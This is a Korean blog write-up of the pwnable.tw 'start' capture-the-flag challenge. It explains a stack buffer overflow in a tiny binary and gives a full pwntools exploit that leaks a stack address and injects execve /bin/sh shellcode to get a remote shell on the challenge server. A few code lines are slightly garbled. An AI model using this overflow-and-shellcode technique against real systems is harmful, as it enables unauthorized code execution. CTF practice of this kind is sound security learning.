System Hacking (pwnable)/pwnable.TW Write-up

[pwnable.tw] start ( write - up )

hellojuntae 2019. 5. 2. 11:38


바이너리파일을 다운받은 후 아이다로 리버싱해보면, 이 바이너리 파일이 _start와 _exit 부분으로 되어있는것을 알수있다.

그리고 Checksec로 확인해보면, 아무런 보호기법도 걸려있지 않다.

하지만, NC 서버내에 ASRL이 걸려있다는것은 예상할수있다.


일단 프로그램을 IDA로 뜯어보았을때 _start 부분의 시작점은 0x8048060 이므로, 이 주소를 디스어셈블하고 분석해보면 다음과 같다.



14~34부분은 Let's start .... 을 push해주는 부분이고...

39~45부분은 write함수를 실행시켜주는 부분이다. 

45부분에서 mov al,0x4를 하는데, mov al,0x4는 write함수의 시스템콜이다. 그 후 int 0x80으로 해당 함수를 실행한다.

아래 49~55부분은 read함수를 실행시켜주는 부분이다.

53부분에서 move al,0x3를 한다. 이건 read함수의 시스템콜이기때문이다.

그다음, esp에 0x14만큼을 더하고 ret한다.


ret하면 _exit 부분으로 넘어가고, 이부분은 exit()함수를 실행시켜주는 부분이기때문에, 순서를 나타내면 다음과 같다.

Write -> Read -> Exit 


그런데 Read함수 부분에서  mov dl 3ch로 최대 0x3C 만큼 입력을 받는다. 그리고 버퍼의 크기는 0x14 이므로...

1
(python -'print "A"*20+"B"*4';cat)|./start
cs

를 입력해보면, segmentation fault가 뜨면서 eip가 0x42424242로 변조되는것을 알수있다.

따라서 우리는, ret에 쉘코드를 넣고, 문제를 쓱싹 풀 수 있을것이다.


자, 이제 그럼 어떻게 쉘코드를 삽입할지를 생각해 보아야 한다.

위의 어셈 코드부분에서, 57부분을 보면 add esp 0x14를 해주고, exit함수로 빠져나간다.

그럼 exit함수부분에 쉘코드를 넣으면 될듯 하다.

이렇게하려면 현재 스택부분의 주소를 알아야하는데, write함수를 이용하여 이를 leak하고, 이를 바탕으로 쉘코드를 넣으면 된다. 

페이로드는 다음과 같을듯 하다.

1
2
"Dummy"*20 + "WRITE함수 실행직전의 CODE 영역" + "Dummy"*20 + "Shellcode(leak한 스택주소 + 0x14)
                                                        왜냐하면 esp + 0x14를 한 후 ret하기때문! 
cs

write함수의 코드영억으로 이동하면, 현재 스택을 leak하고 read함수로 입력을 한번 더 받는다.

여기서 39부분이 우리가 ret부분으로 입력할 부분이다. 이렇게되면 현재 스택의 주소가 출력이 되고, 그다음에 처음에 프로그램을 실행했을때처럼 주소가 점점 올라가며 read부분도 실행한다. 

그리고 우리는 여기서 우리가 leak한 stack주소에 0x14만큼을 더하고 뒤에 쉘코드를 넣으면 된다!


이제 python으로 expolit 코드를 짜보자!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
  
= remote('chall.pwnable.tw',10000)
 
shell = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
 
payload = "A"*0x14
payload += p32(0x08048087#write's first asm
r.sendafter(':', payload) #first input
 
stack_add = u32(r.recv(4)) #leak stack
 
payload = "A"*0x14
payload += p32(stack_add+0x14#because esp+14
payload += shell
r.send(payload) #second input!
 
r.interactive()
cs

이걸 실행하면..

성공했다!


아무리 pwnable.tw이라도 pwnable.kr 첫문제 정도의 난이도일줄 알았는데, 생각보다 너무어려웠다.

이제 toddler부분은 많이 풀었으니, pwnable.tw 앞부분을 풀어봐야겠다.